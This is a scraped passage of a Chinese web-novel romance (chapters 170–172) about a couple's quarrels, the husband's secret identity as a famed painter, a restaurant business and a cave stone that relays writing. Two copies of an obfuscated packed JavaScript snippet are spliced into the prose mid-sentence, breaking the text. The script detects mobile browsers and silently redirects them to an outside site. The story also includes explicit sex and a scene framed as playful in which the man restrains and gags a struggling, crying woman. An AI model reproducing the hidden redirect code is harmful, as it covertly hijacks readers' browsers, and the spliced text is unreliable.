栖真知这些事风宿恒会想,不用她操心,便问:“戈壁屯兵不好弄吧,用水全靠运输?” 风宿恒叹气:“这也是我们现下头疼的,派兵容易屯兵难。” “在现代要改变戈壁和沙漠地貌也是很难的事,要在沙漠里多种树,种一种梭梭树,防风固沙。弄得好的话,也可以种玉米和小麦。” “沙漠都能种,戈壁应该也可以?” “下次去重离那儿,我再查下资料。” “值得憧憬。”风宿恒道:“若能找到沙漠种植之法,便能解决食水问题。兵力平日也可开垦,兴许数年后,这片戈壁会大变样。” 说到这里两人都有些兴奋,又多聊会儿。风宿恒取过栖真计划表看,见密密麻麻,规划了半年她和容绽每阶段要完成的教学进度,便催她快写,好早些休息。 栖真落笔片刻,抬头道:“我王在旁虎视眈眈,我写不下去,你要不回千百度做点自个儿的事。” 风宿恒哪里肯依:“我兜兜转转,生生死死,就为有朝一日能时时刻刻挨你身边,你要我自个儿一边凉快去?” “可你这般盯着…”栖真搁笔:“我啥事都做不了啊。” “也是。”风宿恒直身:“凑太近,惹人嫌。” “不是这意思……”栖真无力道。 风宿恒索性出门:“你忙。” 栖真……… 人一走,房里清净下来。 可她心情也瞬间低落,怎么想怎么不对味,兀自对烛火发呆,想到稿子明天得交出来和容绽讨论,才不得不继续。 谁知没落几字,就听门外声响,一抬头,居然是风宿恒和颜心搬着千百度的书桌进了门。 两人在房里一通调整,原本放大方桌的地方腾出来放书桌,方桌移出去,放去千百度。 门一关,风宿恒终于在自个书桌后坐,撩袖道:“总得找点事做做,否则有人嫌我游手好闲。” 栖真起身辩解:“不是。” “坐下。”风宿恒对她一指:“写你的。” 栖真噘嘴,真凶! 便坐下继续写,可到底为风宿恒回来相陪,心里漾着甜,不开心全数不翼而飞。 这般集中精力半个时辰,今日份终于写完,便想去看看一边的风宿恒闷声不响在做什么。 她悄悄靠近,探头一看立时羞恼:“画的什么啊?” 就见风宿恒认认真真提笔描摹,笔下成画,竟是一幅极好看的……春宫图! 非常真切,就是那晚两人在后院躺椅上荒唐一幕。 女子埋首椅上,男子覆在其身,连接处在他笔下纤毫毕现。 简直没眼看! 风宿恒搁起蝇头小楷,拉她共赏,献宝道:“看看,画得怎样?” “画出来做什么!”栖真怒道。 “回味。” 栖真一掌拍在纸上,遮着两个小人:“不许画!” “没干呢。”风宿恒忙把她手提开,可是晚了,纸上人物糊了轮廓,半个时辰心血毁于一旦。 风宿恒道:“画便画了,不会让人看到。” 栖真是真怒:“不是怕被看到,是不、许、画!你有这般出众的画技,画什么不好,一天天的想什么呢,满脑子黄色废料!” 她吼得响,吼完房中彻底静下。 风宿恒面无表情听栖真一通吼,倏忽起身,把南北两窗都关上。 咔嚓一下,上栓。 他回头瞅房中人:“毁得一幅,毁不了所有。我在别处还有好几屋,别说今晚这样的,更过分的也不尽其数。” 还有好几屋? 栖真吃惊地瞪大眼。 “你问我一天天脑里想什么,告诉你!”风宿恒步步逼近:“我从小就天天想着你,天天画着你,通人事后更是夜夜梦着你,白日里只管将那梦境画出。唯独看着满屋画像,我才能时刻告诉自己,不是疯,我没疯!这女子是真实存在的!总有一日我会找到她,和她做一做那些梦中事!” 他步至桌前,将纸一推:“你问我有这般画技,画什么不好?你怎不知,我只因从小画你画到疯魔,才被见者称为‘画圣’。” 画圣? 栖真瞳孔地震。 “四圣之一?和仙圣、妓圣、书圣并列的……画圣?”她不敢置信。 “怎么?”风宿恒挑眉:“慕仙台上慕璃不是说过吗?” 慕璃说过? 什么时候说过? 栖真回想半天。 那时从慕仙台上得知仙圣已逝,她再也回不去,心绪起伏,根本没听清慕璃说什么。 画圣啊! 难怪风宿恒画得这么好……好到迄今在中土,她没见一个比他画得更好的人。 便想起桩事来,栖真顿感晴天霹雳:“所以那副、那副乌梅鸭掌太子图也是你画的?” “真以为是小包子?”风宿恒一把抱起栖真置于案上:“谁叫你踌躇一晚画不出个我来?让人着急。” 栖真见他倾身而下,恨不得把脸藏进他怀里,都什么丢人丢到姥姥家的事,唉唉唉…… “满脑子黄色废料。”风宿恒直接把人抵在桌上:“骂得好,骂得新颖!不错,我年年废料,月月废料,日日废料。对着你,就没好料!” 背部触到冷硬桌面,栖真气势顿消,求道:“让我起来。” 鼻尖一路往下蹭,风宿恒低喃:“今日沐浴,用的木槿香吗?可我更爱你体香。”说罢埋首嗅了一口。 栖真推他脸:“回房…好吗?” “不、回!” 风宿恒徒然抬头,在烛火中邪魅一笑。 栖真呆住。 她发誓,风宿恒这表情,竟找不出比“邪魅”两字更确切的形容,心头升起不好的预感:“你要做什么?” 风宿恒隔着凋裙将人弄到亭亭玉立:“那晚,你为着小白一爪踩在画上,罚了什么还记得吗?” “记、记…不记得!”栖真战栗。 “你在它眼上画了一对……眼圈。”风宿恒提醒。 他拉下凋裙,雪白绽放眼前。 “我没!” 栖真挣扎,直觉告诉她,承认就要坏事。 “没?你笑得房顶都要掀了。”风宿恒眼神危险,将她双腕固定头顶,不让人滑下桌:“适才你也一掌下去毁我画,得给你惩罚。” 栖真摇头:“大神!我错了,我错了!别罚!” 叫大仙也没用了。 就见风宿恒一手提笔,沾桌上红墨,在她高耸上画了个腕大的圆,圈住左边那点艳色。 这骚操作直接把栖真镇住,简直三观碎了一地。 风宿恒趁机饱墨,在右边对称处也画上一个。 “来而不往非礼也。”风宿恒搁笔,俯身轻吹:“怎样,好看吗?” 栖真瞪着两个鲜艳红圈,半晌才从呆愣状态下回神。 老天啊! 变态啊! 简直变态到…… 她颤栗着想放声尖叫,让他赶紧擦掉,嘴却被风宿恒捂住。 栖真拼命挣扎,恨不得找地缝钻下,雪白的肌肤窘至泛红,看着艳若桃李。 风宿恒慕色,面上却不怜香惜玉,还在挑逗般吹气:“别汗啊,吹不干了。” 我干你奶奶个熊! 栖真在他身下呜咽,羞耻的泪水夺框而出,像珍珠断了线成窜淌下。 “真真这么喜欢?”风宿恒舔舐她的泪:“小白可是顶着黑眼圈招摇过市一整日,你也不许擦,明日此时我没见着这对儿……” 隔着布料,狠狠拧了把圆润的臀:“我就把你最喜欢的,画这儿。” ………… 三天了…… 风宿恒躺在千百度的床上,辗转反侧。 唉,三天里栖真对别人有多和颜悦色,对他就多冷若冰霜。 没看他一眼,没说一个字,晚上连枕头都扔出来。 这脾气啊…… 风宿恒看着帐顶,嘴角痴笑,耳朵竖起,听外间动静。 稍时,果听开门关门,风宿恒起床一看,香满路灯歇了,鱼龙舞亮起来。他在窗前等了片刻,鱼龙舞也没了灯。 二更天,整间花千树漆黑静谧。 一个人影抱着枕,偷偷摸进鱼龙舞,正待上床,床上一脚踢来,把他抵住。 风宿恒只管举着亲了一口,好声好气:“真真都气三日了,还不够?” 床上人竭力想把脚抽回,怎么用力都不行,气得拍床板。 风宿恒赶紧松手:“半夜三更,别敲,让人听去不好。” 这时候他到知道让人听去不好了? 之前那么多次,不管不顾的,有知道一点“不好”吗? 栖真翻身朝里,不想理他。 风宿恒赶紧摆枕,上床躺下,松了口气。能回她身边睡,已是很大进步。 他躺一会儿,又不安分,凑近身边软玉温香,悄声道:“就那么狠心,三日都不跟我说句话?千百度床硬,比不得这里舒服。” 风宿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13516435|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恒见栖真不动不响,只留背影,只好继续软磨硬泡:“今日是钟雄生辰,他们留我饮宴,我都没答应,急着回来赔罪呢。” 悄悄上手,揽上栖真腰,见她没反应,胆子大了些,将人贴进怀里,埋首在她脖间轻嗅,连叫好几声真真。 他就盼着她跟他说句话,一个字都好,可这般死皮赖脸蹭半日,话没有,只听一声压抑抽泣。 风宿恒起身待看,见栖真埋首枕间,越哭越凶了。 这下把风宿恒整得心颤:“你一哭,我心都乱。” 便听枕间断断续续:“你……你就知道……欺负我……” 风宿恒撑在上方,频频道歉:“是我不好,一时猛浪,让真真难堪了。” “你要生气了…什么地方都可去,我生个气,走哪儿都有你。”栖真哽咽道:“我、我想回家!” 这句出口,风宿恒心霎时凉下半截,原本带调笑意味的气氛也瞬间冷下。 从背后抱住栖真,再无一丝玩笑,风宿恒颤声道:“真真。” 是他硬把她的魂魄凑回留在这个世界,又是为着他,她放弃了此生唯一长留现代的机会;拜天地时,是他说“愿吾怀为其家”,他真想剖心为证,愿自己身边是她永生的家。可他只顾猛浪,同她调笑,如今都把人逼得说出这种话。 她…她竟在后悔留在中土,后悔同他一处吗? 哄人于风宿恒不过张口就来,一千篇甜言蜜语也不在话下,可如今再多的话都塞在胸口,抱着栖真,竟一个字说不出,或说什么都亵渎,舌尖上滚来覆去,只有一句反反复复的“真真”。 栖真在风宿恒见不到处做了个鬼脸。 这男人欺人太甚,不治一治,难出心头那口气。 她面上抽抽噎噎,柔弱伤心,果觉后面人紧紧抱住,脱了三日来嬉皮笑脸的可恶样,有了些真心实意的歉意,声声低喃的“真真”出自动情处,听得栖真又白白泪目。 可夫妻间原本就是世间最神奇的相处。上面还在一个欲迎还拒的伤心,一个欲语还休的后怕,下面却挨挨挤挤地惹火。 栖真只觉风宿恒嗓音沉下来,她便软了。 无论面上怎生凄苦,身体诚实得很。一个进得爽利,一个迎得滋润。屋中哽咽渐消,只剩抽泣。也辨不出是哪种抽泣。 风宿恒心里疼,又是存心赔罪,只想叫栖真收了怨怼心,心甘情愿留下,是以极尽呵护,倒似让人沉在温泉,舒服地被他那无比熨帖的心意包裹,便是最后共赴极乐,都多了无尽缠绵之意。 事后两人平心静气,旧事不提,默契地把冷战揭过。 栖真偎在风宿恒怀中:“第一次听说超凡四圣,还是玩风月宝鉴那会儿。可我怎么记得山遥说,画圣画的女子都没有脸,而一毫痴君最后因迷路死在了沙漠里?” 风宿恒搂定道:“这要从我遇到容聘和山遥说起。” 将她汗湿的发拨到耳后,风宿恒道:“那时我在沙漠见到容聘他们真是惊喜若狂,而容聘也只把我当做误入大荒流的旅人搭救。为了报答,我告之真实身份,出沙漠后同他们到处游玩,很快结为挚友。我带他们回乾都府邸住过一段时间。有次容聘入我书房,见我作画,问我画谁,我便说是我心上人,他看着满屋画像觉得不可思议,缠着我说他也想学,也想把心上人画下。这般大概教了两月,我得情报要入胥敖的辰江属地,便让他们自个儿玩,约定半年后乾都再见。” “半年后我拿下辰江回乾都,才知这半年里容聘哪儿都没去,一直在府中等我。那次再见,他提出将来我再出马,能否允他扮做随扈随我潜伏,他也好多学点东西。我想着未来还需得他襄助便答应下来,但我只能带他一个,便让山遥待在府中。之后两年,去摩新城和大小三江,都是容聘跟着我出生入死。直到大三江,我为救他重伤……” 他摸肩胛:“就是这处,被锁魂链穿透,几乎魂魄离散。容聘哭着让我跟他回大容,因为大容有炼魂鼎,可收拢魂魄。其实那时我没看起来那么严重,在一处郊外休养三个月便恢复过来。那时我已做好随他入大容的准备,直到容聘有次说漏嘴,炼魂鼎在皇崖山上,只有大容皇族才上的了山。换句话说,我即便随他入大容也无法私自上山。那时我徒然起了一个想法,夺容聘神识取而代之。这般人人只当我是大容太子,行事才得方便。” “那几年我们和山遥聚少离多,我扮容聘回去,山遥根本认不出。为了不让他节外生枝,我在他神识内做了点手脚,替换几年记忆,虚虚实实,只让他以为这些年结识的是星流,带他和容聘闯荡江湖的也是星流。至于我,他记得的只是无脸画像及江湖传闻的画圣而已。” 栖真问:“容聘后来怎样了?” “我不想伤他性命,只着人将他关押。”风宿恒道:“后来我入大容再没回去,四年前星流来报,他在乾都……自尽了。” 栖真啊一声,黯然半晌才问:“他是个怎样的人?” “热情,执着,聪慧过人。”风宿恒道:“不是遇着我,他该有更好的一生。” “他活着,如今也才二十六吧。”栖真静了一会儿,道:“从容聘角度讲,他是全心全意把你当挚友、当师长。” 风宿恒撸着栖真的发,诚心道:“是我对不起他。如今,只能多报些给他兄长了。” 171. 第 171 章 既知风宿恒画功一流,晚上又执意在香满路作陪,栖真便人尽其用,给他分配了个任务。 画漫画! 漫画这东西,于中土于风宿恒都是极新鲜的事物,和呆板的绣像画全然不同。 栖真讲在现代漫画坐拥千亿产值,若中土百姓能接受这种表现形式,未来无论蒙学还是大部经典,皆能转以漫画。降低阅读门槛后,原本看不懂的百姓都能看懂,岂非一件利国利民的大好事! 风宿恒便同意拿《梁祝》练手。 真要说,这还是栖真首次和风宿恒“共事”。 一搭脉,发现这男人真让人吃惊! 戦星流当日说风宿恒时的那种崇拜,栖真现在体会得淋漓尽致。 她教分镜,他立马举一反三;她教列出稿计划,他一炷香功夫一张表格列得详细齐整,然后每晚照进度出稿绝不拖沓。 最最重要的是,风宿恒的画风实在太可爱,萌出栖真一脸鼻血,每组稿件都看得她心化,根本舍不得放出去给旁人观。 而风宿恒淡定执笔、专心画画的模样,经常让栖真支颐看到花痴,全然忘记手中事。 没办法啊! 一个画画神的对上一个做游戏的,不是直击要害,KO掉一千点血? 是以栖真时不时感叹,自己上辈子烧了多少高香,才得如此宝藏夫婿。 女人一产生崇拜心理,就容易有献身欲。夜晚上了床,栖真主动亲亲抱抱,风宿恒自然回以亲亲抱抱……然后,就没有然后了,两人平和地相拥睡去。 第一天这般,第二天这般,第三天还是这般。 等柳絮回抽空回山头来香满路找她时,都觉出了栖真的低气压。 “搬了新家,还没毡帐睡得好?”柳絮回瞧栖真眼周略有黯淡和唇角上的火气问。 栖真请她喝璞丽薄香:“定了要出的教案,写得晚了些。” “你和阿绽的精力都投在这里了。”柳絮回道:“对了,我回来都没看到阿绽,典叔说阑珊又陪他去戈壁了。” “最近每日下午上完课他都会去,晚膳前才回。” 柳絮回问:“那么热的天,去干吗?” 栖真耸耸肩:“说散步。” 柳絮回叹气:“山上那么大,还不够他散步的?” “男人啊!”栖真也叹气:“谁知道他们脑子里在想些什么。” 柳絮回深有同感地点头。 “加把劲呢!”栖真抿着茶,意有所指:“每次回山,给阿绽带点好吃的好玩的,总得让他明了你的心意。” “怎么没带?”柳絮回指桌上大包小包:“斋即堂的松糕,炉回春的香饼,都是我回来前亲自去买的。” 栖真吃了一块小香饼:“我是说,你带点给他一人的,送的时候说清楚是给他一个人。你给我们都带,他怎么明白你是为他呢?” 柳絮回搅着绢帕:“可说这样明,他又像上次那般怎么办?” “哎呦我的大当家!”栖真受不了:“若此生非他不嫁,便一次次表白,跟他耗,耗到铁棒磨成针,冰人化成水。若实在捂不热,便放眼江湖再找一个。这般爱君在心口难开算什么事呢!尽把自己好年岁蹉跎了。” “以前我只当阿绽性冷,后来才知他是把一腔热情给了故人。”柳絮回咬唇:“可让我放弃,那么多年了……” “暗恋,真是太苦了。”栖真揉着太阳穴:“不是我说,如今你只身在外见的人多,也给自己一个机会,说不定就撞上好姻缘。” “那你呢?”柳絮回笑:“身边可有好姻缘?” 栖真喝口茶,淡定道:“要有,我不会放过的。” 两人说笑一通,柳絮回自然把话题转到生意上。把最近总结的经验给栖真看,没废话,全是一条条实干清单。两人条条过,随着栖真的提问,柳絮回思考或回答,然后在单子上圈圈划划做修改,一直弄到晚上。 开店前两人就商定,单店盈利月过万,能培养出六个独当一面的领班,供应商供货稳定,就着手开第二家。如今这些条件都达成,可柳絮回却有新顾虑:“今年雨水极少,辛丰西正在闹旱灾,尤以成西和瓜州两处最严重。这两地素来是农产大户,听说如今也是农田干枯,焦金流石,遍地牲殍,最近市面上菜价上涨不少,一则我们可要涨价,二则开新店的事是否暂缓?”说着呈上一张自个儿做的菜价涨幅表,将栖真上课时说的“用数据说话”执行到百分百。 栖真细看表格,圈出其中涨幅最高的几项,皆是做在合成菜中的配料,便建议用别的菜色替代,又道:“我们一直在辛丰找菜农,何不去大容找呢?” 提到大容,柳絮回笔尖一顿,抬头看来,颇有些心潮起伏。 栖真在烛火下见其动容,便道:“听说永嘉道快通了。那是你们故土,你们应该比我熟悉,若那边菜价稳定、便宜,摊上脚力成本,还比辛丰低的话,不失为一个好选择。” 柳絮回垂首,摇了摇头:“我们没有身验。” 前朝时整个大容畅通无阻,是根本没有身验这种东西的。可自改朝换代,当朝推行中土通制,没那一张身验根本入不了城镇。他们这帮人当年私自出逃,在山里东躲西藏,没被计入常户,自然就没有官家身验。即便这次入郢业,柳絮回和英迈他们也是拿了山上几户人家的身验蒙混过关。可听说大容查检严格得多,他们只怕混不过去。 栖真听柳絮回说明,也是唏嘘,这便按下大容不提,深知此事还得从长计议。 她跟柳絮回分析,旱灾价涨是一时的,他们也涨价便是应激反应,少赚些可以,但动不动涨价不利于树立长期品牌形象,所以建议先不涨。而对拓店一事栖真则全然鼓励。她知自己是资本的角色,即便无盈利,现阶段趁竞争对手还没起,贴银子也要占市场、抢流量,更何况单店盈利都可观,哪有不拓之理。 柳絮回得她分析,心中便有定数,相携出去用膳时,听阿月夸栖真给各家装的纱窗实用,更是感佩她细心,赞道:“栖真坐镇后方,就是大能定国策,小能安家邦的国相。” 阿月笑问:“那你是什么?” 柳絮回大大方方道:“我就是国相身边马前卒,开疆僻壤大将军。”引得众人笑作一团。 “阿絮是,我当不得。”栖真举起酒杯:“我最多是一方平台,给各位能人撒点土、浇点水,只待兄弟姐妹们在擅长的领域成为巨擘,各领风骚!” 今日阿闯也是跟柳絮回一同回山的,照理说他们这桌主家用膳轮不到他同桌,但今日阿畅不在,栖真坐下时直接点了他过来同用。阿闯殷勤地给各位斟着带回的米花酒,全程以听为主,只待栖真问他近况时,才憨憨道了句三个月学的比过去三年都多,只是遗憾下了山再也听不到宫主的课。 一提到课的事,柳絮回也道:“是啊,你的课没听够呢,什么时候再开一堂?” 若在现代,还能搞个直播什么的,现下却凑不齐众人时间,栖真笑道:“你们是不打算下山了,还是打算天天回来听啊?” 阿闯道:“求宫主定好日子,我们按时回山述职,正好听课。” 柳絮回一听,也道:“是啊,阿闯提醒我了,栖真做成定期,我们排好时日回来便是。” 别人都赞米花酒口感好,唯独今日难得同桌的容绽不饮酒,道:“栖真每日要出童课,还有工夫备别的吗?” 栖真问大家还想听什么,柳絮回一听那意思,忙道:“栖真还有什么课可以上,尽数报一报。” 有了安置舱,什么课不能上?栖真道:“总要挑大家兴趣所致,用得上的。” 英迈、柳絮回你一言我一语,最后一致商定要把创业五讲变成创业五十讲,都望她永远讲下去才好。 栖真苦笑:“这可愁死我了。” 一人上来敬一杯,这事便这么说定。 米花酒不烈,但也抵不住一杯杯地敬。天色已暗,柳絮回送微醺的栖真回去花千树,洗沐完回自己的上西间。见东南西北开着窗,幸亏纱窗闭户才无蚊蝇困扰,便坐下陪阿月说说话。 慕容烟月还在灯下刺绣,柳絮回在摇篮边逗着小宝儿,道:“等聚义堂落成,咱们也给孩儿起个大名,满月酒错过了,办个定名宴补偿一下。” 慕容在灯下默不作声,柳絮回知她心结,劝道:“阿月,过去的事就忘了吧,小宝儿总是咱们的宝,该有的仪式一个都不能漏。他跟你姓,看看叫什么好。” 慕容停手,擦去泪道:“可我实在……” 柳絮回道:“你母家不在了,如今只得你一脉,有了小宝儿总是个传承,咱们也别亏待他,将来……”这便想到今日栖真劝她的话,便现学现卖,拿来劝慕容:“也别禁锢自己,给自己一个机会,总能得好姻缘的。” “我这样的……”慕容黯然摇头:“还得什么好姻缘。” “你这样的,你哪样的?”柳絮回道:“大容第一美人,要样貌有样貌,要才情有才情,我就不信天下好男人都瞎了眼。” “那是过去。” “阿月!”柳絮回劝道:“你看看短短三个月,我们不都脱胎换骨了?栖真说得对,人定胜天,山不转水转。我们越是活不好,越得好好活!甭管过去,转个身,看前面。” 慕容道:“你和栖真,你们真地很勇敢,都知道要做什么,哪像我。” “你也可以的!”柳絮回握住她的手:“你若不喜刺绣就不绣,现下咱们比过去好,不用扣扣索索过日子,你也能有一摊自己想做的事,就像栖真说的,在擅长的领域成为巨擘,各领风骚。” 被柳絮回握住的手传来密密刺痛,那是她起早贪黑刺绣拉下的针眼。如今容绽、柳絮回、英迈和山遥都有一摊事,每日忙进忙出,都从阴影里走出来,就她还陷在过去,每晚看着小宝儿独自垂泪。她不想成为大家负担,只盼在刺绣上尽份力。可要问她是否就想这般下去,心中也着实没有答案。最后只听了柳絮回一句劝,让她去找栖真聊聊。 兴许聊过,便知路在何方。 和阿月聊完,柳絮回觉得疲累,都躺到床上了,仍披衣起来,提格子灯去毡帐区。祁南英那几户房子即将落成,只是现下还住着毡帐。山上地方大,东一帐,西一帐,各家管各家找地儿待,倒有一帐离群索居,离得最远。 靠近,果见一灯如豆,照着个高大伏案的身影弓背于春凳前,孜孜不倦。 柳絮回轻咳一声,阿闯抬头,见心上的仙女就站在近旁,忙起身。 柳絮回道:“山上蚊虫多,我把驱虫香放这儿了。” “小姐……” 她是特意来送吗?不是顺手?不为别人?是特意为他? 阿闯有些脸燥。 他的局促柳絮回看在眼里,忽然觉得自己是不是有点多事,人在山上住那么久了,之前也没见她来送过什么香。 柳絮回给自己打气,现下怎能和以前一样?以前阿闯是祁哥的人,现下是她的人,当然得顾着点。 便道:“别用功太晚了,早先歇歇,明日一早要下山的。” 阿闯见柳絮回要走,忙开口道:“昨儿个出门前,许掌柜发了三百两银子工钱,这……委实太多了。” 柳絮回一哂:“嫌赚得少的见过,嫌多的你是第一个。” 阿闯实诚道:“可我和焘兴他们一早说过半年里不取东家半文钱,半年没到呢。” “这段时间你们是店里最辛苦的,发工钱是应该的。”柳絮回道。 阿闯道:“一般饭馆子里小二一月工钱也就十几两,您给的……确实太多了。” “你也说了,那是一般饭馆里的小二。”柳絮回笑道:“鸳鸯蝴蝶梦不是一般饭馆,你们也不是一般小二。” 阿闯专注地听着。 柳絮回缓缓道:“你和焘兴、洪柱,每个都是一顶一,将来是要跟着我打天下的左膀右臂。你们好好干,什么都会有的。” 她说得很有气概,心下却有点怂。 因为这些话,是栖真教她的。 栖真说你想走得快走得远,得培养自己人。天生聪慧、做事勤奋、为人真诚、对己狠绝,只要符合“勤诚恨慧”四字诀的,都值得笼络。一旦看准人,就要教,要保,要鼓励,要让他们知道自己的价值所在,让他们知道未来发展的方向,这样才会有“忠”。若个个手下都踩着“勤诚狠慧忠”来,不愁未来拉不起一支所向披靡的大军。 柳絮回得栖真真传,第一个看中的,就是阿闯。 她觉得阿闯这人,简直就是照栖真说的标准长的。 聪慧勤奋真诚,焘兴和洪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13529118|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柱也具备,但只有“对几狠绝”这项,店中无人能出其右。 明明每日上工辛苦,回到祁哥住处,他居然还能挑灯夜战勤奋读书。 有次絮回一觉睡醒,见天井一角还亮着微光,才知是阿闯怕在房中扰旁人清梦,点支白烛去院中看书。 后来絮回索性让他住店里,这样他想做什么便做什么,不用怕扰人。谁知阿闯去了两日,又一言不发住回来。问他为啥回来,他只是憨笑,说还是这里好。 每晚在外面喂蚊子,到底哪里好? 后来絮回便放一套桌椅和两盏格子灯在院中,睡前一言不发在外点两处驱蚊香。 这样挑灯夜战,阿闯每日上工还能一点没有倦容,有时柳絮回悄悄看他,都觉得神奇。 也因着身边有这么号努力自律的人,让她每日起床也满是期待,那点殚精竭虑的创业之苦,到也不引以为苦了。 阿闯似乎没想到柳絮回会说出这般话来,心间一默。 好好干,什么都会有。 那你……我也能拥有吗? 阿闯被自己的想法骇到了,但他只是站在那里,醍醐灌顶,看着她眼神没有回避。 早知自己要的东西得去拼、去抢、去争取。 他喜欢她,他早就很明确地知道自己喜欢柳絮回。 他更知道现在的自己完全配不上她。 可谁知道将来呢? 她都说了,好好干,什么都会有! 那他就不放弃,他就好好干,将来……他就可以有。 阿闯躬身,对柳絮回一揖:“定不负阿絮所托。” 柳絮回微愣,这还是他第一次直呼“阿絮”,是顺口还是怎么的?她心跳得有些快,道声晚安,正想走,忽听山头喧哗起来。 ………… 风宿恒今日回来得有些晚,进香满路一看,烛火亮着,本该伏案的人却不在。颜心见他回来,照例将晚膳端上。 风宿恒问起,颜心道主母今晚喝醉,阿絮送回来的,许是在房中休息。风宿恒便去看一眼,谁知几间找遍都无果,人就不在花千树。 知栖真回来就醉,倏忽不见人,风宿恒赶紧和颜心出去找,谁知田字房那儿都问过,毡帐也看过,愣没找到人。 这下把颜心急着了:“小姐还醉着,万一从山头掉下去怎么办。” 众人一听栖真不见了,也心急如火,都提着格子灯在山头找。风宿恒铁青着脸下山,到三峰溪边,忽见一笔挺挺的人影静静站在远处地洞口,不知在干嘛。 这眼把风宿恒吓得魂丢一半,掠去将人拖开,紧紧抱住,生怕她动一动失足坠下洞去。 “栖真!你!”风宿恒气急败坏:“灯都不提,一人在这里做什么?” 栖真头晕地想挥开他,却甩之不脱,呢喃道:“别激动。” 她还叫他别激动! 这样真地很吓人的好不好! 风宿恒上下一摸,知人没事,才放下点心,还待再说,便听下坡处其他人也陆续找来。他回头高声:“找到了!” 虚惊一场,众人都当栖真喝醉乱走,后怕地让阿畅和颜心赶紧领回去。 回鱼龙舞门一关,风宿恒扶栖真坐下,脸色虽缓,心有余悸:“以后我不在不许喝酒!晚上山头无遮无拦,出事怎么办?明日我就让人在山头造一圈围栏,把洞口给堵上!” “别堵。”栖真揉着太阳穴。 风宿恒见她醉醺醺的样子就没好气:“不堵,让你半夜三更往下跳吗?” 栖真拉他袖子,双眸晶亮,精气十足:“亲爱的,你是在城墙上看到我写的东西对吧?” 风宿恒被她一句“亲爱的”叫住了。 好新鲜! 栖真可从没这般唤过他。 栖真可没管风宿恒在想什么,急道:“可我写的东西怎么会出现在城墙上呢?你、你明天去问问,问问朝阳城的人,城墙的石头哪来的!不,你现在就、就带我去,我自己问,那些石头哪来的!” 劝说喝醉的人最无趣,风宿恒决定做点有趣的,于是捏捏她驼红的脸蛋,道:“亲爱的,你醉了,你亲爱的抱你去沐浴。” 栖真紧张地抱住他胳膊:“醉?没醉!现在带我去,快!” “好,现在就去。”风宿恒说着抱起人,直接去净房。 “我让你带我去朝阳城,那里,朝阳城!”栖真乱指,也不知哪里是朝阳城,一手紧紧护住襟口:“扒我衣服干什么。” 风宿恒好声好气地哄:“我带你去朝阳城,你放手,洗干净就去。” 栖真这才任由风宿恒三下五除二把她扒光放进浴桶,卷袖俯身帮她洗。 “别吃我豆腐,有正事,很重要的事去办!”栖真一把拍开他往身下伸的手。 风宿恒听不懂什么叫吃豆腐,他就单纯想给她洗干净,但栖真醉得这么咋咋呼呼,他还是第一次见,不跟她一般见识,调侃道:“行啊,你先陪我办点正事。” 她在桶里不安分,水溅他一身,风宿恒索性也脱光进去。好几日没亲热了,此时裸然相贴,他怎么忍得住,当下把人紧箍在怀,低头吻住。 栖真心事重重,竭力想推,呜咽着不给亲,怎奈风宿恒就知道点火。酒酣之际浑身起了别样的热。可嘴刚分开,她就三句不离朝阳城,呓语道:“我写的东西出现在,在那里,是不是代表……?” 她啊一声被人牢牢捏住,把想表达的给打断了。 “别……你……你干吗嘛……”栖真怨怼起来,想把又吸又咬的可恶大脑袋推开。 她只顾推人,太用力,后仰间后脑勺咚地磕在浴桶边,在净房里发出好大一声。 这下把栖真整懵了,捂着后脑跌进浴桶里,风宿恒上去一摸都起包了。 未及安抚,便听她嚎啕:“好疼啊!疼!” 竟是小孩耍泼的哭法。 风宿恒好气又好笑地搂住:“爹爹揉揉,真真乖,不哭不哭。” 怎奈越哄栖真哭得越凶,把风宿恒笑得喘不过气。这下旖旎全消,做不下去了,只好把人洗净擦干,衣服一披回房去。 抱上床风宿恒心里还挺美,觉得有个女儿也不错,安慰的话越发轻柔,待怀中哭声小下去,他低头看,“女儿”颊上挂着泪,楚楚可怜睡熟了。 172. 第 172 章 晨光黯淡,芙蓉账内,风宿恒摸了摸身边,睁眼见栖真不知何时醒了,正靠在床头发呆。 风宿恒因着要入大荒流修炼,平日起时身边人都在熟睡,今日却反常。 他翻身,抱住她腰:“醒……那么早?” 栖真话音清晰,全无醉意,目视虚无道:“昨日阿闯说,若能时时听到山上的课就好了。可如今他们在山下,难得回一次,你说若他们身边有石头,我们也有,是否就能通信?” 闻言,风宿恒困意全消,坐起来。 栖真道:“我不知道是什么原理让洞中山石和朝阳城的城墙发生联系,但我想知道那城墙的石头是哪里来的,兴许,这会是一件……” 这日风宿恒没去沙漠,午时回来,将情形告知:“那城墙建了好多年,很多东西已不可考,好不容易找到个在县衙任过职的老者打听,当年估测采买石料所费甚巨,是县令派人入大荒流开采,省下好大一笔资费。但究竟大荒流哪处,那人也说不清。” “说不定,那城墙的砖石也出自万仞山呢。”栖真激动道:“灵不灵,一试便知。” 说着让风宿恒带她下三峰溪边的地洞,摸索洞壁细看,待祁南英也被带下洞,和他商量能否凿块下来做试验。祁南英带着赵四、白三、莫生花了一个时辰,才凿下一块半丈见方,十寸厚的石壁。待洞中飞扬的尘土渐歇,风宿恒带栖真重回洞底,栖真执粉笔,在山壁上随意书写,果见一丈远处,那块凿下的石壁上也出现同样的文字。 